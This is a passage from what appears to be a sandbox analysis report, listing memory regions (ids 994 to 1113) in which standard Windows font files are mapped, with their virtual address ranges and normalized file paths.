"c:\\windows\\fonts\\calibril.ttf") Region: id = 994 start_va = 0x4f90000 end_va = 0x5064fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 995 start_va = 0x4f90000 end_va = 0x5064fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 996 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califb.ttf" filename = "\\Windows\\Fonts\\CALIFB.TTF" (normalized: "c:\\windows\\fonts\\califb.ttf") Region: id = 997 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califb.ttf" filename = "\\Windows\\Fonts\\CALIFB.TTF" (normalized: "c:\\windows\\fonts\\califb.ttf") Region: id = 998 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califi.ttf" filename = "\\Windows\\Fonts\\CALIFI.TTF" (normalized: "c:\\windows\\fonts\\califi.ttf") Region: id = 999 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califi.ttf" filename = "\\Windows\\Fonts\\CALIFI.TTF" (normalized: "c:\\windows\\fonts\\califi.ttf") Region: id = 1000 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califr.ttf" filename = "\\Windows\\Fonts\\CALIFR.TTF" (normalized: "c:\\windows\\fonts\\califr.ttf") Region: id = 1001 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califr.ttf" filename = "\\Windows\\Fonts\\CALIFR.TTF" (normalized: "c:\\windows\\fonts\\califr.ttf") Region: id = 1002 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calist.ttf" filename = "\\Windows\\Fonts\\CALIST.TTF" (normalized: "c:\\windows\\fonts\\calist.ttf") Region: id = 1003 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calist.ttf" filename = "\\Windows\\Fonts\\CALIST.TTF" (normalized: "c:\\windows\\fonts\\calist.ttf") Region: id = 1004 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistb.ttf" filename = "\\Windows\\Fonts\\CALISTB.TTF" (normalized: "c:\\windows\\fonts\\calistb.ttf") Region: id = 1005 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistb.ttf" filename = "\\Windows\\Fonts\\CALISTB.TTF" (normalized: "c:\\windows\\fonts\\calistb.ttf") Region: id = 1006 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistbi.ttf" filename = "\\Windows\\Fonts\\CALISTBI.TTF" (normalized: "c:\\windows\\fonts\\calistbi.ttf") Region: id = 1007 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistbi.ttf" filename = "\\Windows\\Fonts\\CALISTBI.TTF" (normalized: "c:\\windows\\fonts\\calistbi.ttf") Region: id = 1008 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calisti.ttf" filename = "\\Windows\\Fonts\\CALISTI.TTF" (normalized: "c:\\windows\\fonts\\calisti.ttf") Region: id = 1009 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calisti.ttf" filename = "\\Windows\\Fonts\\CALISTI.TTF" (normalized: "c:\\windows\\fonts\\calisti.ttf") Region: id = 1010 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "castelar.ttf" filename = "\\Windows\\Fonts\\CASTELAR.TTF" (normalized: "c:\\windows\\fonts\\castelar.ttf") Region: id = 1011 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "castelar.ttf" filename = "\\Windows\\Fonts\\CASTELAR.TTF" (normalized: "c:\\windows\\fonts\\castelar.ttf") Region: id = 1012 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "censcbk.ttf" filename = "\\Windows\\Fonts\\CENSCBK.TTF" (normalized: "c:\\windows\\fonts\\censcbk.ttf") Region: id = 1013 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "censcbk.ttf" filename = "\\Windows\\Fonts\\CENSCBK.TTF" (normalized: "c:\\windows\\fonts\\censcbk.ttf") Region: id = 1014 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "centaur.ttf" filename = "\\Windows\\Fonts\\CENTAUR.TTF" (normalized: "c:\\windows\\fonts\\centaur.ttf") Region: id = 1015 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "centaur.ttf" filename = "\\Windows\\Fonts\\CENTAUR.TTF" (normalized: "c:\\windows\\fonts\\centaur.ttf") Region: id = 1016 start_va = 0x3f0000 end_va = 0x418fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "century.ttf" filename = "\\Windows\\Fonts\\CENTURY.TTF" (normalized: "c:\\windows\\fonts\\century.ttf") Region: id = 1017 start_va = 0x3f0000 end_va = 0x418fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "century.ttf" filename = "\\Windows\\Fonts\\CENTURY.TTF" (normalized: "c:\\windows\\fonts\\century.ttf") Region: id = 1018 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "chiller.ttf" filename = "\\Windows\\Fonts\\CHILLER.TTF" (normalized: "c:\\windows\\fonts\\chiller.ttf") Region: id = 1019 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "chiller.ttf" filename = "\\Windows\\Fonts\\CHILLER.TTF" (normalized: "c:\\windows\\fonts\\chiller.ttf") Region: id = 1020 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "colonna.ttf" filename = "\\Windows\\Fonts\\COLONNA.TTF" (normalized: "c:\\windows\\fonts\\colonna.ttf") Region: id = 1021 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "colonna.ttf" filename = "\\Windows\\Fonts\\COLONNA.TTF" (normalized: "c:\\windows\\fonts\\colonna.ttf") Region: id = 1022 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coopbl.ttf" filename = "\\Windows\\Fonts\\COOPBL.TTF" (normalized: "c:\\windows\\fonts\\coopbl.ttf") Region: id = 1023 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coopbl.ttf" filename = "\\Windows\\Fonts\\COOPBL.TTF" (normalized: "c:\\windows\\fonts\\coopbl.ttf") Region: id = 1024 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtb.ttf" filename = "\\Windows\\Fonts\\COPRGTB.TTF" (normalized: "c:\\windows\\fonts\\coprgtb.ttf") Region: id = 1025 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtb.ttf" filename = "\\Windows\\Fonts\\COPRGTB.TTF" (normalized: "c:\\windows\\fonts\\coprgtb.ttf") Region: id = 1026 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtl.ttf" filename = "\\Windows\\Fonts\\COPRGTL.TTF" (normalized: "c:\\windows\\fonts\\coprgtl.ttf") Region: id = 1027 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtl.ttf" filename = "\\Windows\\Fonts\\COPRGTL.TTF" (normalized: "c:\\windows\\fonts\\coprgtl.ttf") Region: id = 1028 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "curlz___.ttf" filename = "\\Windows\\Fonts\\CURLZ___.TTF" (normalized: "c:\\windows\\fonts\\curlz___.ttf") Region: id = 1029 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "curlz___.ttf" filename = "\\Windows\\Fonts\\CURLZ___.TTF" (normalized: "c:\\windows\\fonts\\curlz___.ttf") Region: id = 1030 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnt.ttf" filename = "\\Windows\\Fonts\\ELEPHNT.TTF" (normalized: "c:\\windows\\fonts\\elephnt.ttf") Region: id = 1031 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnt.ttf" filename = "\\Windows\\Fonts\\ELEPHNT.TTF" (normalized: "c:\\windows\\fonts\\elephnt.ttf") Region: id = 1032 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnti.ttf" filename = "\\Windows\\Fonts\\ELEPHNTI.TTF" (normalized: "c:\\windows\\fonts\\elephnti.ttf") Region: id = 1033 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnti.ttf" filename = "\\Windows\\Fonts\\ELEPHNTI.TTF" (normalized: "c:\\windows\\fonts\\elephnti.ttf") Region: id = 1034 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "engr.ttf" filename = "\\Windows\\Fonts\\ENGR.TTF" (normalized: "c:\\windows\\fonts\\engr.ttf") Region: id = 1035 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "engr.ttf" filename = "\\Windows\\Fonts\\ENGR.TTF" (normalized: "c:\\windows\\fonts\\engr.ttf") Region: id = 1036 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasbd.ttf" filename = "\\Windows\\Fonts\\ERASBD.TTF" (normalized: "c:\\windows\\fonts\\erasbd.ttf") Region: id = 1037 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasbd.ttf" filename = "\\Windows\\Fonts\\ERASBD.TTF" (normalized: "c:\\windows\\fonts\\erasbd.ttf") Region: id = 1038 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasdemi.ttf" filename = "\\Windows\\Fonts\\ERASDEMI.TTF" (normalized: "c:\\windows\\fonts\\erasdemi.ttf") Region: id = 1039 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasdemi.ttf" filename = "\\Windows\\Fonts\\ERASDEMI.TTF" (normalized: "c:\\windows\\fonts\\erasdemi.ttf") Region: id = 1040 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eraslght.ttf" filename = "\\Windows\\Fonts\\ERASLGHT.TTF" (normalized: "c:\\windows\\fonts\\eraslght.ttf") Region: id = 1041 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eraslght.ttf" filename = "\\Windows\\Fonts\\ERASLGHT.TTF" (normalized: "c:\\windows\\fonts\\eraslght.ttf") Region: id = 1042 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasmd.ttf" filename = "\\Windows\\Fonts\\ERASMD.TTF" (normalized: "c:\\windows\\fonts\\erasmd.ttf") Region: id = 1043 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasmd.ttf" filename = "\\Windows\\Fonts\\ERASMD.TTF" (normalized: "c:\\windows\\fonts\\erasmd.ttf") Region: id = 1044 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "felixti.ttf" filename = "\\Windows\\Fonts\\FELIXTI.TTF" (normalized: "c:\\windows\\fonts\\felixti.ttf") Region: id = 1045 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "felixti.ttf" filename = "\\Windows\\Fonts\\FELIXTI.TTF" (normalized: "c:\\windows\\fonts\\felixti.ttf") Region: id = 1046 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "forte.ttf" filename = "\\Windows\\Fonts\\FORTE.TTF" (normalized: "c:\\windows\\fonts\\forte.ttf") Region: id = 1047 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "forte.ttf" filename = "\\Windows\\Fonts\\FORTE.TTF" (normalized: "c:\\windows\\fonts\\forte.ttf") Region: id = 1048 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabk.ttf" filename = "\\Windows\\Fonts\\FRABK.TTF" (normalized: "c:\\windows\\fonts\\frabk.ttf") Region: id = 1049 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabk.ttf" filename = "\\Windows\\Fonts\\FRABK.TTF" (normalized: "c:\\windows\\fonts\\frabk.ttf") Region: id = 1050 start_va = 0x3f0000 end_va = 0x419fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabkit.ttf" filename = "\\Windows\\Fonts\\FRABKIT.TTF" (normalized: "c:\\windows\\fonts\\frabkit.ttf") Region: id = 1051 start_va = 0x3f0000 end_va = 0x419fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabkit.ttf" filename = "\\Windows\\Fonts\\FRABKIT.TTF" (normalized: "c:\\windows\\fonts\\frabkit.ttf") Region: id = 1052 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradm.ttf" filename = "\\Windows\\Fonts\\FRADM.TTF" (normalized: "c:\\windows\\fonts\\fradm.ttf") Region: id = 1053 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradm.ttf" filename = "\\Windows\\Fonts\\FRADM.TTF" (normalized: "c:\\windows\\fonts\\fradm.ttf") Region: id = 1054 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmcn.ttf" filename = "\\Windows\\Fonts\\FRADMCN.TTF" (normalized: "c:\\windows\\fonts\\fradmcn.ttf") Region: id = 1055 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmcn.ttf" filename = "\\Windows\\Fonts\\FRADMCN.TTF" (normalized: "c:\\windows\\fonts\\fradmcn.ttf") Region: id = 1056 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmit.ttf" filename = "\\Windows\\Fonts\\FRADMIT.TTF" (normalized: "c:\\windows\\fonts\\fradmit.ttf") Region: id = 1057 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmit.ttf" filename = "\\Windows\\Fonts\\FRADMIT.TTF" (normalized: "c:\\windows\\fonts\\fradmit.ttf") Region: id = 1058 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahv.ttf" filename = "\\Windows\\Fonts\\FRAHV.TTF" (normalized: "c:\\windows\\fonts\\frahv.ttf") Region: id = 1059 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahv.ttf" filename = "\\Windows\\Fonts\\FRAHV.TTF" (normalized: "c:\\windows\\fonts\\frahv.ttf") Region: id = 1060 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahvit.ttf" filename = "\\Windows\\Fonts\\FRAHVIT.TTF" (normalized: "c:\\windows\\fonts\\frahvit.ttf") Region: id = 1061 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahvit.ttf" filename = "\\Windows\\Fonts\\FRAHVIT.TTF" (normalized: "c:\\windows\\fonts\\frahvit.ttf") Region: id = 1062 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdcn.ttf" filename = "\\Windows\\Fonts\\FRAMDCN.TTF" (normalized: "c:\\windows\\fonts\\framdcn.ttf") Region: id = 1063 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdcn.ttf" filename = "\\Windows\\Fonts\\FRAMDCN.TTF" (normalized: "c:\\windows\\fonts\\framdcn.ttf") Region: id = 1064 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "freescpt.ttf" filename = "\\Windows\\Fonts\\FREESCPT.TTF" (normalized: "c:\\windows\\fonts\\freescpt.ttf") Region: id = 1065 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "freescpt.ttf" filename = "\\Windows\\Fonts\\FREESCPT.TTF" (normalized: "c:\\windows\\fonts\\freescpt.ttf") Region: id = 1066 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frscript.ttf" filename = "\\Windows\\Fonts\\FRSCRIPT.TTF" (normalized: "c:\\windows\\fonts\\frscript.ttf") Region: id = 1067 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frscript.ttf" filename = "\\Windows\\Fonts\\FRSCRIPT.TTF" (normalized: "c:\\windows\\fonts\\frscript.ttf") Region: id = 1068 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ftltlt.ttf" filename = "\\Windows\\Fonts\\FTLTLT.TTF" (normalized: "c:\\windows\\fonts\\ftltlt.ttf") Region: id = 1069 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ftltlt.ttf" filename = "\\Windows\\Fonts\\FTLTLT.TTF" (normalized: "c:\\windows\\fonts\\ftltlt.ttf") Region: id = 1070 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugi.ttf" filename = "\\Windows\\Fonts\\GADUGI.TTF" (normalized: "c:\\windows\\fonts\\gadugi.ttf") Region: id = 1071 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugi.ttf" filename = "\\Windows\\Fonts\\GADUGI.TTF" (normalized: "c:\\windows\\fonts\\gadugi.ttf") Region: id = 1072 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugib.ttf" filename = "\\Windows\\Fonts\\GADUGIB.TTF" (normalized: "c:\\windows\\fonts\\gadugib.ttf") Region: id = 1073 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugib.ttf" filename = "\\Windows\\Fonts\\GADUGIB.TTF" (normalized: "c:\\windows\\fonts\\gadugib.ttf") Region: id = 1074 start_va = 0x4a0000 end_va = 0x4d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gara.ttf" filename = "\\Windows\\Fonts\\GARA.TTF" (normalized: "c:\\windows\\fonts\\gara.ttf") Region: id = 1075 start_va = 0x4a0000 end_va = 0x4d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gara.ttf" filename = "\\Windows\\Fonts\\GARA.TTF" (normalized: "c:\\windows\\fonts\\gara.ttf") Region: id = 1076 start_va = 0x4a0000 end_va = 0x4d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garabd.ttf" filename = "\\Windows\\Fonts\\GARABD.TTF" (normalized: "c:\\windows\\fonts\\garabd.ttf") Region: id = 1077 start_va = 0x4a0000 end_va = 0x4d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garabd.ttf" filename = "\\Windows\\Fonts\\GARABD.TTF" (normalized: "c:\\windows\\fonts\\garabd.ttf") Region: id = 1078 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garait.ttf" filename = "\\Windows\\Fonts\\GARAIT.TTF" (normalized: "c:\\windows\\fonts\\garait.ttf") Region: id = 1079 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garait.ttf" filename = "\\Windows\\Fonts\\GARAIT.TTF" (normalized: "c:\\windows\\fonts\\garait.ttf") Region: id = 1080 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gigi.ttf" filename = "\\Windows\\Fonts\\GIGI.TTF" (normalized: "c:\\windows\\fonts\\gigi.ttf") Region: id = 1081 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gigi.ttf" filename = "\\Windows\\Fonts\\GIGI.TTF" (normalized: "c:\\windows\\fonts\\gigi.ttf") Region: id = 1082 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gil_____.ttf" filename = "\\Windows\\Fonts\\GIL_____.TTF" (normalized: "c:\\windows\\fonts\\gil_____.ttf") Region: id = 1083 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gil_____.ttf" filename = "\\Windows\\Fonts\\GIL_____.TTF" (normalized: "c:\\windows\\fonts\\gil_____.ttf") Region: id = 1084 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilb____.ttf" filename = "\\Windows\\Fonts\\GILB____.TTF" (normalized: "c:\\windows\\fonts\\gilb____.ttf") Region: id = 1085 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilb____.ttf" filename = "\\Windows\\Fonts\\GILB____.TTF" (normalized: "c:\\windows\\fonts\\gilb____.ttf") Region: id = 1086 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilbi___.ttf" filename = "\\Windows\\Fonts\\GILBI___.TTF" (normalized: "c:\\windows\\fonts\\gilbi___.ttf") Region: id = 1087 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilbi___.ttf" filename = "\\Windows\\Fonts\\GILBI___.TTF" (normalized: "c:\\windows\\fonts\\gilbi___.ttf") Region: id = 1088 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilc____.ttf" filename = "\\Windows\\Fonts\\GILC____.TTF" (normalized: "c:\\windows\\fonts\\gilc____.ttf") Region: id = 1089 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilc____.ttf" filename = "\\Windows\\Fonts\\GILC____.TTF" (normalized: "c:\\windows\\fonts\\gilc____.ttf") Region: id = 1090 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gili____.ttf" filename = "\\Windows\\Fonts\\GILI____.TTF" (normalized: "c:\\windows\\fonts\\gili____.ttf") Region: id = 1091 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gili____.ttf" filename = "\\Windows\\Fonts\\GILI____.TTF" (normalized: "c:\\windows\\fonts\\gili____.ttf") Region: id = 1092 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gillubcd.ttf" filename = "\\Windows\\Fonts\\GILLUBCD.TTF" (normalized: "c:\\windows\\fonts\\gillubcd.ttf") Region: id = 1093 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gillubcd.ttf" filename = "\\Windows\\Fonts\\GILLUBCD.TTF" (normalized: "c:\\windows\\fonts\\gillubcd.ttf") Region: id = 1094 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilsanub.ttf" filename = "\\Windows\\Fonts\\GILSANUB.TTF" (normalized: "c:\\windows\\fonts\\gilsanub.ttf") Region: id = 1095 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilsanub.ttf" filename = "\\Windows\\Fonts\\GILSANUB.TTF" (normalized: "c:\\windows\\fonts\\gilsanub.ttf") Region: id = 1096 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glecb.ttf" filename = "\\Windows\\Fonts\\GLECB.TTF" (normalized: "c:\\windows\\fonts\\glecb.ttf") Region: id = 1097 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glecb.ttf" filename = "\\Windows\\Fonts\\GLECB.TTF" (normalized: "c:\\windows\\fonts\\glecb.ttf") Region: id = 1098 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glsnecb.ttf" filename = "\\Windows\\Fonts\\GLSNECB.TTF" (normalized: "c:\\windows\\fonts\\glsnecb.ttf") Region: id = 1099 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glsnecb.ttf" filename = "\\Windows\\Fonts\\GLSNECB.TTF" (normalized: "c:\\windows\\fonts\\glsnecb.ttf") Region: id = 1100 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothic.ttf" filename = "\\Windows\\Fonts\\GOTHIC.TTF" (normalized: "c:\\windows\\fonts\\gothic.ttf") Region: id = 1101 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothic.ttf" filename = "\\Windows\\Fonts\\GOTHIC.TTF" (normalized: "c:\\windows\\fonts\\gothic.ttf") Region: id = 1102 start_va = 0x2d0000 end_va = 0x2effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicb.ttf" filename = "\\Windows\\Fonts\\GOTHICB.TTF" (normalized: "c:\\windows\\fonts\\gothicb.ttf") Region: id = 1103 start_va = 0x2d0000 end_va = 0x2effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicb.ttf" filename = "\\Windows\\Fonts\\GOTHICB.TTF" (normalized: "c:\\windows\\fonts\\gothicb.ttf") Region: id = 1104 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicbi.ttf" filename = "\\Windows\\Fonts\\GOTHICBI.TTF" (normalized: "c:\\windows\\fonts\\gothicbi.ttf") Region: id = 1105 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicbi.ttf" filename = "\\Windows\\Fonts\\GOTHICBI.TTF" (normalized: "c:\\windows\\fonts\\gothicbi.ttf") Region: id = 1106 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothici.ttf" filename = "\\Windows\\Fonts\\GOTHICI.TTF" (normalized: "c:\\windows\\fonts\\gothici.ttf") Region: id = 1107 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothici.ttf" filename = "\\Windows\\Fonts\\GOTHICI.TTF" (normalized: "c:\\windows\\fonts\\gothici.ttf") Region: id = 1108 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudos.ttf" filename = "\\Windows\\Fonts\\GOUDOS.TTF" (normalized: "c:\\windows\\fonts\\goudos.ttf") Region: id = 1109 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudos.ttf" filename = "\\Windows\\Fonts\\GOUDOS.TTF" (normalized: "c:\\windows\\fonts\\goudos.ttf") Region: id = 1110 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosb.ttf" filename = "\\Windows\\Fonts\\GOUDOSB.TTF" (normalized: "c:\\windows\\fonts\\goudosb.ttf") Region: id = 1111 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosb.ttf" filename = "\\Windows\\Fonts\\GOUDOSB.TTF" (normalized: "c:\\windows\\fonts\\goudosb.ttf") Region: id = 1112 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosi.ttf" filename = "\\Windows\\Fonts\\GOUDOSI.TTF" (normalized: "c:\\windows\\fonts\\goudosi.ttf") Region: id = 1113 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosi.ttf" filename = "\\Windows\\Fonts\\GOUDOSI.TTF" (normalized: 